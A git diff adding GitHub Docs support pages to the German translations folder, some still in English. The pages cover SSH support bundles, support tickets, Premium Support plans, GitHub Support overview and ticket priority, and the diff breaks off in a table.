+{% data reusables.enterprise_enterprise_support.upload-support-bundle %}
+
+### Creating a support bundle using SSH
+
+You can use these steps to create and share a support bundle if you have SSH access to {% data variables.location.product_location %} and have outbound internet access.
+
+{% data reusables.enterprise_enterprise_support.use_ghe_cluster_support_bundle %}
+
+1. Download the support bundle via SSH:
+  ```shell
+  $ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -o' > support-bundle.tgz
+  ```
+  For more information about the `ghe-support-bundle` command, see "[Command-line utilities](/enterprise/admin/guides/installation/command-line-utilities#ghe-support-bundle)".
+{% data reusables.enterprise_enterprise_support.sign-in-to-support %}
+{% data reusables.enterprise_enterprise_support.upload-support-bundle %}
+
+### Uploading a support bundle using your enterprise account
+
+{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}
+{% data reusables.enterprise-accounts.settings-tab %}
+3. In the left sidebar, click **Enterprise licensing**.
+  ![Screenshot showing "Enterprise licensing" link in the enterprise account settings sidebar.](/assets/images/help/enterprises/enterprise-licensing-tab.png)
+4. Under "{% data variables.product.prodname_enterprise %} Help", click **Upload a support bundle**.
+  ![Screenshot showing "Upload a support bundle link".](/assets/images/enterprise/support/upload-support-bundle.png)
+5. Under "Select an enterprise account", select the support bundle's associated account from the drop-down menu.
+  ![Screenshot showing the dropdown menu to select the support bundle's enterprise account.](/assets/images/enterprise/support/support-bundle-account.png)
+6. Under "Upload a support bundle for {% data variables.contact.enterprise_support %}", to select your support bundle, click **Choose file**, or drag your support bundle file onto **Choose file**.
+  ![Screenshot showing the "Choose file" button to upload a support bundle file.](/assets/images/enterprise/support/choose-support-bundle-file.png)
+7. Click **Upload**.
+
+### Uploading a support bundle directly using SSH
+
+You can directly upload a support bundle to our server if:
+- You have SSH access to {% data variables.location.product_location %}.
+- Outbound HTTPS connections over TCP port 443 are allowed from {% data variables.location.product_location %} to _enterprise-bundles.github.com_ and _esbtoolsproduction.blob.core.windows.net_.
+
+1. Upload the bundle to our support bundle server:
+  ```shell
+  $ ssh -p122 admin@HOSTNAME -- 'ghe-support-bundle -u'
+  ```
+
+## Creating and sharing extended support bundles
+
+Support bundles include logs from the past two days, while _extended_ support bundles include logs from the past seven days. If the events that {% data variables.contact.github_support %} is investigating occurred more than two days ago, we may ask you to share an extended support bundle. You will need SSH access to download an extended bundle - you cannot download an extended bundle from the {% data variables.enterprise.management_console %}.
+
+To prevent bundles from becoming too large, bundles only contain logs that haven't been rotated and compressed. Log rotation on {% data variables.product.prodname_ghe_server %} happens at various frequencies (daily or weekly) for different log files, depending on how large we expect the logs to be.
+
+### Creating an extended support bundle using SSH
+
+You can use these steps to create and share an extended support bundle if you have SSH access to {% data variables.location.product_location %} and you have outbound internet access.
+
+1. Download the extended support bundle via SSH by adding the `-x` flag to the `ghe-support-bundle` command:
+  ```shell
+  $ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -o -x' > support-bundle.tgz
+  ```
+{% data reusables.enterprise_enterprise_support.sign-in-to-support %}
+{% data reusables.enterprise_enterprise_support.upload-support-bundle %}
+
+### Uploading an extended support bundle directly using SSH
+
+You can directly upload a support bundle to our server if:
+- You have SSH access to {% data variables.location.product_location %}.
+- Outbound HTTPS connections over TCP port 443 are allowed from {% data variables.location.product_location %} to _enterprise-bundles.github.com_ and _esbtoolsproduction.blob.core.windows.net_.
+
+1. Upload the bundle to our support bundle server:
+  ```shell
+  $ ssh -p122 admin@HOSTNAME -- 'ghe-support-bundle -u -x'
+  ```
+
+## Further reading
+
+- "[About GitHub Support](/support/learning-about-github-support/about-github-support)"
+- "[Generating a Health Check for your enterprise](/enterprise-server@latest/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise)"
diff --git a/translations/de-DE/content/support/contacting-github-support/viewing-and-updating-support-tickets.md b/translations/de-DE/content/support/contacting-github-support/viewing-and-updating-support-tickets.md
new file mode 100644
index 0000000000..383bb81294
--- /dev/null
+++ b/translations/de-DE/content/support/contacting-github-support/viewing-and-updating-support-tickets.md
@@ -0,0 +1,69 @@
+---
+title: Anzeigen und Aktualisieren von Supporttickets
+intro: 'Du kannst deine Supporttickets{% ifversion ghes or ghec %} anzeigen, mit Kollegen an Tickets zusammenarbeiten{% endif %} und dem {% data variables.contact.github_support %} über das {% data variables.contact.support_portal %} antworten.'
+shortTitle: Managing your tickets
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+topics:
+  - Support
+ms.openlocfilehash: 35c7b28232c0d11170ea9585480b2cfb1785ebd0
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147051980'
+---
+## Informationen zur Ticketverwaltung
+
+{% data reusables.support.zendesk-old-tickets %}
+
+Du kannst das [GitHub-Supportportal](https://support.github.com/) verwenden, um aktuelle und frühere Supporttickets anzuzeigen und dem {% data variables.contact.github_support %} zu antworten. Nach 120 Tagen werden aufgelöste Tickets archiviert{% ifversion ghec or ghes or ghae %}, und archivierte Tickets können nur für Unternehmenskonten angezeigt werden{% endif %}.
+
+{% ifversion ghes or ghec %} {% data reusables.enterprise-accounts.support-entitlements %} {% endif %}
+
+## Anzeigen deiner letzten Supporttickets
+
+{% data reusables.support.view-open-tickets %}
+1. Unter dem Textfeld kannst du den Kommentarverlauf lesen. Die letzte Antwort wird an oberster Stelle angezeigt.
+![Screenshot des Supportticketkommentarverlaufs mit der letzten Antwort am Anfang.](/assets/images/help/support/support-recent-response.png)
+
+{% ifversion ghec or ghes or ghae %}
+
+## Anzeigen deiner archivierten Supporttickets
+
+Du kannst nur archivierte Tickets für ein Unternehmenskonto anzeigen.
+
+{% data reusables.support.navigate-to-my-tickets %}
+1. Wähle das Dropdownmenü **Meine Tickets** aus, und klicke auf den Namen des Unternehmenskontos. 
+
+{% indented_data_reference reusables.support.entitlements-note spaces=3 %}
+
+   ![Screenshot des Dropdownmenüs "Meine Tickets".](/assets/images/help/support/ticket-context.png)
+1. Klicke in der Tabelle „Meine Tickets“ auf **Archivierte Tickets anzeigen**.
+
+{% endif %}
+
+## Aktualisieren von Supporttickets
+
+{% data reusables.support.view-open-tickets %}
+1. Wenn das Problem behoben ist, kannst du optional unter dem Textfeld auf **Ticket schließen** klicken.
+![Screenshot: Position der Schaltfläche „Ticket schließen“.](/assets/images/help/support/close-ticket.png)
+1. Um dem GitHub-Support zu antworten und dem Ticket einen neuen Kommentar hinzuzufügen, gib deine Antwort in das Textfeld ein.
+![Screenshot des Textfelds „Kommentar hinzufügen“.](/assets/images/help/support/new-comment-field.png)
+1. Um dem Ticket deinen Kommentar hinzuzufügen, klicke auf **Kommentar**.
+![Screenshot der Schaltfläche „Kommentar“.](/assets/images/help/support/add-comment.png)
+
+{% ifversion ghec or ghes %}
+## Zusammenarbeit an Supporttickets
+
+Du kannst mit deinen Kollegen über das Supportportal an Supporttickets zusammenarbeiten. Besitzer, Abrechnungsmanager und andere Unternehmensmitglieder mit Supportberechtigungen können Tickets anzeigen, die sich auf ein Unternehmenskonto oder eine von einem Unternehmenskonto verwaltete Organisation beziehen. Weitere Informationen findest du unter [Verwalten von Supportberechtigungen für dein Unternehmen](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise).
+
+Neben dem Anzeigen von Tickets kannst du auch Kommentare zu Supporttickets hinzufügen, wenn deine E-Mail-Adresse in das Ticket kopiert wurde oder wenn die Person, die das Ticket geöffnet hat, eine E-Mail-Adresse mit einer Domäne verwendet hat, die für das Unternehmenskonto oder die von einem Unternehmenskonto verwaltete Organisation verifiziert wurde. Weitere Informationen zum Überprüfen einer Domäne findest du unter [Überprüfen oder Genehmigen einer Domäne für dein Unternehmen](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise) und [Überprüfen oder Genehmigen einer Domäne für deine Organisation](/enterprise-cloud@latest/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization).
+
+{% endif %}
+
+## Weiterführende Themen
+
+- [Informationen zum GitHub-Support](/support/learning-about-github-support/about-github-support)
diff --git a/translations/de-DE/content/support/index.md b/translations/de-DE/content/support/index.md
new file mode 100644
index 0000000000..29bcdd04bd
--- /dev/null
+++ b/translations/de-DE/content/support/index.md
@@ -0,0 +1,40 @@
+---
+title: Working with GitHub Support (Zusammenarbeiten mit dem GitHub-Support)
+shortTitle: GitHub Support
+layout: product-landing
+intro: 'GitHub bietet verschiedene Supportebenen für jedes Produkt, einschließlich Communityforum-Support und eingeschränkter E-Mail-Unterstützung für alle, vollständige E-Mail-Unterstützung für alle kostenpflichtigen Produkte und E-Mail- und Rückrufsupport rund um die Uhr mit einer Vereinbarung zum Servicelevel (SLA), wenn dein Konto {% data variables.contact.premium_support %} umfasst.'
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+redirect_from:
+  - /enterprise/admin/enterprise-support
+  - /admin/enterprise-support
+  - /categories/working-with-github-support
+  - /forum
+  - /github/working-with-github-support
+children:
+  - learning-about-github-support
+  - contacting-github-support
+topics:
+  - Support
+introLinks:
+  overview: /support/learning-about-github-support/about-github-support
+featuredLinks:
+  guides:
+    - /support/contacting-github-support/creating-a-support-ticket
+    - /support/contacting-github-support/viewing-and-updating-support-tickets
+    - '{% ifversion ghes or ghec %}/support/learning-about-github-support/about-ticket-priority{% endif %}'
+    - '{% ifversion ghes %}/support/contacting-github-support/providing-data-to-github-support{% endif %}'
+  popular:
+    - /support/learning-about-github-support/about-github-support
+    - /support/contacting-github-support/creating-a-support-ticket
+ms.openlocfilehash: 2d255401f41ce30340144e6e11f71de924b8998d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145134162'
+---
+
diff --git a/translations/de-DE/content/support/learning-about-github-support/about-github-premium-support.md b/translations/de-DE/content/support/learning-about-github-support/about-github-premium-support.md
new file mode 100644
index 0000000000..6e5bd60a19
--- /dev/null
+++ b/translations/de-DE/content/support/learning-about-github-support/about-github-premium-support.md
@@ -0,0 +1,144 @@
+---
+title: About GitHub Premium Support
+intro: '{% data variables.contact.premium_support %} is a paid, supplemental support offering for {% data variables.product.prodname_enterprise %} customers.'
+shortTitle: GitHub Premium Support
+versions:
+  ghec: '*'
+  ghes: '*'
+redirect_from:
+  - /articles/about-github-premium-support
+  - /articles/about-github-premium-support-for-github-enterprise-cloud
+  - /enterprise/admin/guides/enterprise-support/about-premium-support-for-github-enterprise
+  - /enterprise/admin/guides/enterprise-support/about-premium-support
+  - /enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise-server
+  - /admin/enterprise-support/about-github-premium-support-for-github-enterprise-server
+  - /enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise
+  - /admin/enterprise-support/about-github-premium-support-for-github-enterprise
+  - /github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud
+  - /admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server
+  - /admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise
+  - /support/about-github-support/about-github-premium-support
+topics:
+  - Support
+---
+
+{% note %}
+
+**Notes:**
+
+- The terms of {% data variables.contact.premium_support %} are subject to change without notice and are effective as of November 2021. 
+
+- {% data reusables.support.data-protection-and-privacy %}
+
+{% endnote %}
+
+## About {% data variables.contact.premium_support %}
+
+{% data reusables.support.premium-support-features %}
+
+## {% data variables.contact.premium_support %} plans
+
+There are two {% data variables.contact.premium_support %} plans: Premium and Premium Plus / {% data variables.product.microsoft_premium_plus_support_plan %}.
+
+| | {% data variables.product.premium_support_plan %} | {% data variables.product.premium_plus_support_plan %} |
+|---|---|------|
+| Hours of operation | 24 x 7 | 24 x 7 |
+| Initial response time | <ul><li>30 minutes for {% data variables.product.support_ticket_priority_urgent %}</li><li>4 hours for {% data variables.product.support_ticket_priority_high %}</li></ul> | <ul><li>30 minutes for {% data variables.product.support_ticket_priority_urgent %}</li><li>4 hours for {% data variables.product.support_ticket_priority_high %}</li></ul> |
+| Support channels | <ul><li>Online ticket submission</li><li>Phone support in English via callback request</li><li>Screen share request for critical issues</li></ul> | <ul><li>Online ticket submission</li><li>Phone support in English via callback request</li><li>Screen share request for critical issues</li></ul> |
+| Training | Access to premium content  | <ul><li>Access to premium content</li><li>1 virtual training class per year</li></ul> |
+| Members with support entitlements | 20 | 20 |
+| Resources | Priority ticket handling | <ul><li>Priority ticket handling</li><li>Named Customer Reliability Engineer</li></ul>   |
+| Health Checks | Unlimited automated Health Check reports (see "[Generating a Health Check for your enterprise]({% ifversion not ghes%}/enterprise-server@latest{% endif %}/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise)") | <ul><li>Unlimited automated Health Check reports (see "[Generating a Health Check for your enterprise]({% ifversion not ghes%}/enterprise-server@latest{% endif %}/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise)")</li><li>Quarterly enhanced Health Checks, with findings, interpretations, and recommendations from a Customer Reliability Engineer (by request)</li></ul>    |
+| Technical advisory hours| None | 4 hours per month  |
+| Application upgrade assistance | None | By request |
+| Cloud planning | None | By request |
+
+  {% note %}
+
+  **Notes:**
+  - Enterprise owners and billing managers automatically have a support entitlement. Enterprise owners can add support entitlements to members of organizations owned by their enterprise account. For more information, see "[Managing support entitlements for your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)."
+  - For the {% data variables.product.premium_plus_support_plan %}, 50% of unused Managed Services hours roll over to the next month and expire at the end of the quarter.
+
+  {% endnote %}
+
+
+## Signing up for {% data variables.contact.premium_support %}
+
+To sign up for {% data variables.contact.premium_support %} or upgrade your plan, you can [contact our account management team](https://enterprise.github.com/contact) or call [+1 (877) 448-4820](tel:+1-877-448-4820).
+
+## Scope of support
+
+{% data reusables.support.scope-of-support %}
+
+## Contacting {% data variables.contact.premium_support %}
+
+{% data variables.contact.premium_support %} customers can use the {% data variables.contact.contact_landing_page_portal %} to report issues in writing, in English.
+
+## Hours of operation
+
+{% data variables.contact.premium_support %} is available 24 hours a day, 7 days per week. If you purchased {% data variables.contact.premium_support %} prior to September 17, 2018, support is limited during holidays. For more information on holidays {% data variables.contact.premium_support %} observes, see the holiday schedule at "[About {% data variables.contact.github_support %}](/enterprise-server@latest/admin/enterprise-support/overview/about-github-enterprise-support)."
+
+## Service Level Agreement response times
+
+For tickets you submit, support is available 24 hours a day, 7 days per week. The initial response time guaranteed by the SLA is dependent on the priority level of the ticket. Response time begins when {% data variables.contact.premium_support %} sets the priority level of the ticket. A response does not mean the issue has been resolved.
+
+| Ticket priority level | Initial response time |
+| --- | ---|
+| {% data variables.product.support_ticket_priority_urgent %} | 30 minutes |
+| {% data variables.product.support_ticket_priority_high %} | 4 hours |
+
+{% data reusables.enterprise_enterprise_support.installing-releases %}
+
+You must install the minimum supported version of {% data variables.product.prodname_ghe_server %} pursuant to the Supported Releases section of your applicable license agreement within 90 days of placing an order for {% data variables.contact.premium_support %}.
+
+## Assigning a priority to a support ticket
+
+When you contact {% data variables.contact.premium_support %}, you can choose one of four priorities for the ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}.
+
+- [Ticket priorities for {% data variables.product.prodname_ghe_cloud %}](#ticket-priorities-for-github-enterprise-cloud)
+- [Ticket priorities for {% data variables.product.prodname_ghe_server %}](#ticket-priorities-for-github-enterprise-server)
+
+### Ticket priorities for {% data variables.product.prodname_ghe_cloud %}
+
+| Priority | Description | Examples |
+| :---: | --- | --- |
+| {% data variables.product.support_ticket_priority_urgent %} | Production workflows for your organization or enterprise on {% data variables.product.prodname_ghe_cloud %} are failing due to critical service errors or outages, and the failure directly impacts the operation of your business. | <ul><li>Errors or outages on {% data variables.product.prodname_dotcom_the_website %} affect core Git or web application functionality for all members of your organization or enterprise</li></ul> |
+| {% data variables.product.support_ticket_priority_high %} | Account or security issues with your organization or enterprise on {% data variables.product.prodname_ghe_cloud %} are causing limited impact to your business. | <ul><li>An organization or enterprise owner has unintentionally deleted an organization</li><li>An organization or enterprise member has uploaded sensitive data in a commit, issue, pull request, or issue attachment</li></ul> |
+| {% data variables.product.support_ticket_priority_normal %} | Members of your organization or enterprise on {% data variables.product.prodname_ghe_cloud %} are experiencing limited or moderate issues with {% data variables.product.prodname_dotcom_the_website %}, or you have general concerns or questions about your organization or enterprise. | <ul><li>Questions about using APIs and features for your organization or enterprise</li><li>Issues with tools for organization data migration that {% data variables.product.company_short %} provides</li><li>Features related to your organization or enterprise not working as expected</li><li>General security questions about your organization or enterprise</li></ul> |
+| {% data variables.product.support_ticket_priority_low %} | You have a question or suggestion about your organization or enterprise on {% data variables.product.prodname_ghe_cloud %} that is not time-sensitive, or does not otherwise block the productivity of your team. | <ul><li>Excessive resource usage for your organization or enterprise</li><li>Requests for health checks</li><li>Help with using Gists, notifications, wikis, {% data variables.product.prodname_pages %}, {% data variables.product.prodname_desktop %}, or other peripheral services or features with your organization or enterprise</li><li>Feature requests</li><li>Product feedback</li></ul> |
+
+
+### Ticket priorities for {% data variables.product.prodname_ghe_server %}
+
+{% data reusables.support.ghes-priorities %}
+
+## Resolving and closing support tickets
+
+{% data variables.contact.premium_support %} may consider a ticket solved after providing an explanation, recommendation, usage instructions, workaround instructions, or by advising you of an available {% data variables.product.prodname_ghe_server %} release that addresses the issue.
+
+If you use a custom or unsupported plug-in, module, or custom code, {% data variables.contact.premium_support %} may ask you to remove the unsupported plug-in, module, or code while attempting to resolve the issue. If the problem is fixed when the unsupported plug-in, module, or custom code is removed, {% data variables.contact.premium_support %} may consider the ticket solved.
+
+{% data variables.contact.premium_support %} may close a ticket if the ticket is outside the scope of support or if multiple attempts to contact you have gone unanswered. If {% data variables.contact.premium_support %} closes a ticket due to lack of response, you can request that {% data variables.contact.premium_support %} reopen the ticket.
+
+## Receiving credits for missed responses to support tickets
+
+If you don't receive an initial response within the guaranteed response time to more than four tickets in a given quarter based on {% data variables.product.company_short %}'s fiscal year, you're eligible for a credit. To honor the SLA, {% data variables.product.company_short %} will refund 20% of the quarterly {% data variables.contact.premium_support %} fee in cash. To receive the refund, you must submit a credit request.
+
+The credit request must be made within 30 days of the end of the quarter during which {% data variables.contact.premium_support %} did not respond to your tickets within the designated response time. Credit requests will not be honored if the respective deadline has passed. Once the respective deadline passes, you have waived the ability to claim a refund for the qualified credit.
+
+To receive a refund, you must submit a completed credit request to <supportcredits@github.com>. To be eligible, the credit request must:
+- Be sent from an email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}
+- Be received by {% data variables.product.company_short %} by the end of the 30th day after the quarter in which the four qualifying credits occurred
+- Include "Credit Request" in the subject line
+
+The following information **must be included** in your credit request:
+- **Date** (The date must be within 30 days after the quarter based on {% data variables.product.company_short %}’s fiscal year end in which the claims occurred [January 31, April 30, July 31, or October 31].)
+- **Customer contact** (You must specify both name and email address.)
+- **Customer address**
+- **Qualifying credits** (You must provide the date of each qualifying credit and the associated ticket number.){% ifversion fpt or ghec %}
+- **Name of {% data variables.product.prodname_ghe_cloud %} organization**{% endif %}
+- **Ticket numbers**
+
+## Accessing premium content
+
+You can access premium content by signing in to the {% data variables.contact.contact_landing_page_portal %}.
diff --git a/translations/de-DE/content/support/learning-about-github-support/about-github-support.md b/translations/de-DE/content/support/learning-about-github-support/about-github-support.md
new file mode 100644
index 0000000000..f5d6525f05
--- /dev/null
+++ b/translations/de-DE/content/support/learning-about-github-support/about-github-support.md
@@ -0,0 +1,200 @@
+---
+title: About GitHub Support
+intro: You can contact GitHub Support for help troubleshooting issues you encounter while using GitHub.
+shortTitle: About GitHub Support
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+redirect_from:
+  - /enterprise/admin/enterprise-support/about-github-enterprise-support
+  - /admin/enterprise-support/about-github-enterprise-support
+  - /admin/enterprise-support/overview/about-github-enterprise-support
+  - /articles/about-github-support
+  - /github/working-with-github-support/about-github-support
+  - /articles/github-enterprise-cloud-support
+  - /github/working-with-github-support/github-enterprise-cloud-support
+  - /articles/business-plan-support
+  - /articles/github-business-cloud-support
+  - /admin/enterprise-support/about-support-for-advanced-security
+  - /enterprise-server/admin/enterprise-support/about-support-for-advanced-security
+topics:
+  - Support
+---
+
+## About {% data variables.contact.github_support %}
+
+The support options available to {% data variables.product.prodname_dotcom %} users depend on the products used by their personal accounts,  any organizations or enterprises they are members of, and any {% data variables.product.prodname_ghe_server %} instances they manage. Each product includes a default level of support and accounts that use {% data variables.product.prodname_enterprise %} can purchase {% data variables.contact.premium_support %}.
+
+{% ifversion fpt %}
+If you're a member of an organization that uses {% data variables.product.prodname_enterprise %}, you can use the drop-down menu in the upper-right corner of {% data variables.product.prodname_docs %} to view a version of these articles appropriate to your product. For more information, see "[About versions of GitHub Docs](/get-started/learning-about-github/about-versions-of-github-docs)."
+{% endif %}
+
+{% ifversion not ghae %}
+
+|  | {% data variables.product.prodname_gcf %} | Standard support | Premium support |
+|----|---------------|-------|---------------|
+| {% data variables.product.prodname_free_user %} | {% octicon "check" aria-label="Check" %}  |  |  |  
+| {% data variables.product.prodname_pro %} | {% octicon "check" aria-label="Check" %}  | {% octicon "check" aria-label="Check" %}  |  |  
+| {% data variables.product.prodname_team %} | {% octicon "check" aria-label="Check" %}  | {% octicon "check" aria-label="Check" %}  |  |
+| {% data variables.product.prodname_ghe_cloud %} | {% octicon "check" aria-label="Check" %}  | {% octicon "check" aria-label="Check" %}  | Available to purchase |
+| {% data variables.product.prodname_ghe_server %} | {% octicon "check" aria-label="Check" %}  | {% octicon "check" aria-label="Check" %}  | Available to purchase |
+
+{% endif %}
+
+{% ifversion ghes %}
+
+You can contact {% data variables.contact.enterprise_support %} through the {% data variables.contact.contact_enterprise_portal %} for help with:
+ - Installing and using {% data variables.product.product_name %}
+ - Identifying and verifying the causes of suspected errors
+ - Installing and using {% data variables.product.prodname_advanced_security %}
+
+{% endif %}
+
+{% ifversion ghes or ghec %}
+
+{% data reusables.support.premium-support-features %}
+
+For more information, see "[About GitHub Premium Support](/support/about-github-support/about-github-premium-support)."
+
+{% endif %}
+
+{% ifversion fpt or ghec or ghae %}
+
+Before contacting {% data variables.contact.github_support %}, check if there are currently any incidents affecting services on {% data variables.product.product_name %} on 
+{%- ifversion fpt or ghec %}
+[{% data variables.product.prodname_dotcom %} Status](https://githubstatus.com/)
+{%- elsif ghae %}
+[{% data variables.product.product_name %} Status](https://ghestatus.com/)
+{%- endif %}. For more information, see "[About GitHub status](#about-github-status)."
+
+{% endif %}
+
+{% ifversion fpt %}
+{% data reusables.support.free-and-paid-support %}
+
+To report account, security, and abuse issues, or to receive assisted support for a paid account, visit the {% data variables.contact.contact_support_portal %}. For more information, see "[Creating a support ticket](/support/contacting-github-support/creating-a-support-ticket)."
+{% endif %}
+
+{% ifversion fpt %}
+If you have any paid product or are a member of an organization with a paid product, you can contact {% data variables.contact.github_support %} in English.
+{% else %} 
+With {% data variables.product.product_name %}, you have access to support in English and Japanese.
+{% endif %}
+
+{% ifversion ghes or ghec %}
+
+To contact {% data variables.contact.github_support %}, visit the {% data variables.contact.contact_support_portal %}. For more information, see "[Creating a support ticket](/support/contacting-github-support/creating-a-support-ticket)."
+
+{% elsif ghae %}
+
+You can contact {% data variables.contact.enterprise_support %} through the {% data variables.contact.ae_azure_portal %} to report issues in writing. For more information, see "[Creating a support ticket](/support/contacting-github-support/creating-a-support-ticket)."
+
+{% endif %}
+
+{% ifversion not ghae %}
+Email communication from GitHub Support will always be sent from either a `github.com` or `githubsupport.com` address.
+{% endif %}
+
+## Scope of support
+
+{% data reusables.support.scope-of-support %}
+
+{% ifversion ghec or fpt or ghae %}
+## About GitHub status
+
+You can check for any incidents currently affecting {% data variables.product.product_name %} services and view information about past incidents on {% data variables.product.prodname_dotcom %}'s [Status page]({% ifversion fpt or ghec %}https://githubstatus.com{% elsif ghae %}https://ghestatus.com{% endif %}).
+
+You can also subscribe and get alerted via email, text message, and webhook whenever there's an incident affecting {% data variables.product.product_name %}.
+
+{% endif %}
+
+{% ifversion ghec or ghes %}
+## About support entitlement
+
+Enterprise owners and billing managers automatically have a support entitlement, which enables them to create, view, and comment on support tickets associated with their enterprise account.
+
+Enterprise owners can also add support entitlements to members of organizations owned by their enterprise account, allowing those members to create, view, and comment on support tickets. For more information, see "[Managing support entitlements for your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)."
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+## Granting {% data variables.contact.github_support %} temporary access to a private repository
+
+If {% data variables.contact.github_support %} needs to access a private repository to address your support request, the owner of the repository will receive an email with a link to accept or decline temporary access. The owner will have 20 days to accept or decline the request before the request expires. If the owner accepts the request, {% data variables.contact.github_support %} will have access the repository for five days. During this window, {% data variables.contact.github_support %} staff with the required privileges can unlock the repository for up to two hours at a time, and will relock the repository if the work is completed early. All {% data variables.contact.github_support %} staff access generates audit log events, and the visibility of the repository is not affected at any time.
+
+{% data variables.contact.github_support %} will never access your private repositories without your explicit consent. For more information, see the [Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service#3-access).
+{% endif %}
+
+{% ifversion ghec or ghes %}
+## Contacting GitHub Sales and GitHub Training
+
+For pricing, licensing, renewals, quotes, payments, and other related questions, contact {% data variables.contact.contact_enterprise_sales %} or call [+1 (877) 448-4820](tel:+1-877-448-4820).
+
+To learn more about training options, including customized trainings, see [{% data variables.product.company_short %}'s training site](https://services.github.com/).
+
+{% note %}
+
+**Note:** Training is included in the {% data variables.product.premium_plus_support_plan %}. For more information, see "[About GitHub Premium Support](/support/about-github-support/about-github-premium-support)."
+
+{% endnote %}
+
+{% endif %}
+
+{% ifversion ghes or ghec %}
+## Hours of operation
+
+### Support in English
+
+For standard non-urgent issues, we offer support in English 24 hours per day, 5 days per week, excluding weekends and national U.S. holidays. The standard response time is 24 hours.
+
+{% ifversion ghes %}
+For urgent issues, we are available 24 hours per day, 7 days per week, even during national U.S. holidays.
+{% endif %}
+
+### Support in Japanese
+
+For standard non-urgent issues, support in Japanese is available Monday through Friday from 9:00 AM to 5:00 PM JST, excluding national holidays in Japan. 
+
+{% ifversion ghes %}
+For urgent issues, we offer support in English 24 hours per day, 7 days per week, even during national U.S. holidays.
+{% endif %}
+
+For a complete list of U.S. and Japanese national holidays observed by {% data variables.contact.enterprise_support %}, see "[Holiday schedules](#holiday-schedules)."
+
+## Holiday schedules
+
+For urgent issues, we can help you in English 24 hours per day, 7 days per week, including on U.S. and Japanese holidays.
+
+### Holidays in the United States
+
+{% data variables.contact.enterprise_support %} observes these U.S. holidays, although our global support team is available to answer urgent tickets.
+
+{% data reusables.enterprise_enterprise_support.support-holiday-availability %}
+
+### Holidays in Japan
+
+{% data variables.contact.enterprise_support %} does not provide Japanese-language support on December 28th through January 3rd as well as on the holidays listed in [国民の祝日について - 内閣府](https://www8.cao.go.jp/chosei/shukujitsu/gaiyou.html).
+
+{% data reusables.enterprise_enterprise_support.installing-releases %}
+
+{% endif %}
+
+{% ifversion ghec or ghes or ghae %}
+
+## Resolving and closing support tickets
+
+{% data reusables.support.enterprise-resolving-and-closing-tickets %}
+
+{% endif %}
+
+## Further reading
+
+{%- ifversion ghes %}
+- Section 10 on Support in the "[{% data variables.product.prodname_ghe_server %} License Agreement](https://enterprise.github.com/license)"
+{%- endif %}
+- "[Creating a support ticket](/support/contacting-github-support/creating-a-support-ticket)"
+{%- ifversion not ghae %}
+- "[Viewing and updating support tickets](/support/contacting-github-support/viewing-and-updating-support-tickets)"
+{%- endif %}
diff --git a/translations/de-DE/content/support/learning-about-github-support/about-ticket-priority.md b/translations/de-DE/content/support/learning-about-github-support/about-ticket-priority.md
new file mode 100644
index 0000000000..52fe5fdccb
--- /dev/null
+++ b/translations/de-DE/content/support/learning-about-github-support/about-ticket-priority.md
@@ -0,0 +1,82 @@
+---
+title: Informationen zur Ticketpriorität
+intro: Du kannst den Schweregrad deines Problems und dessen Auswirkungen auf dich und dein Team über die Priorität deines Supporttickets kommunizieren.
+shortTitle: Ticket priority
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Support
+ms.openlocfilehash: bce2a30ad25b93274e982991f81be5b1b796c685
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145134154'
+---
+Wenn du den {% data variables.contact.enterprise_support %} kontaktierst, kannst du eine von {% ifversion ghes or ghae %}vier{% else %}three{% endif %} Prioritäten für das Ticket auswählen: {% ifversion ghes or ghae %}{% data variables.product.support_ticket_priority_urgent %},{% endif %} {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %} oder {% data variables.product.support_ticket_priority_low %}.
+
+{% ifversion ghes or ghae %}
+
+{% data reusables.support.github-can-modify-ticket-priority %}
+
+{% ifversion ghes %}
+
+## Ticketpriorität für {% data variables.product.prodname_ghe_server %}
+
+{% data reusables.support.ghes-priorities %}
+
+## Ticketpriorität für {% data variables.product.prodname_advanced_security %}
+
+| Priority | Beschreibung |
+| :---: | --- |
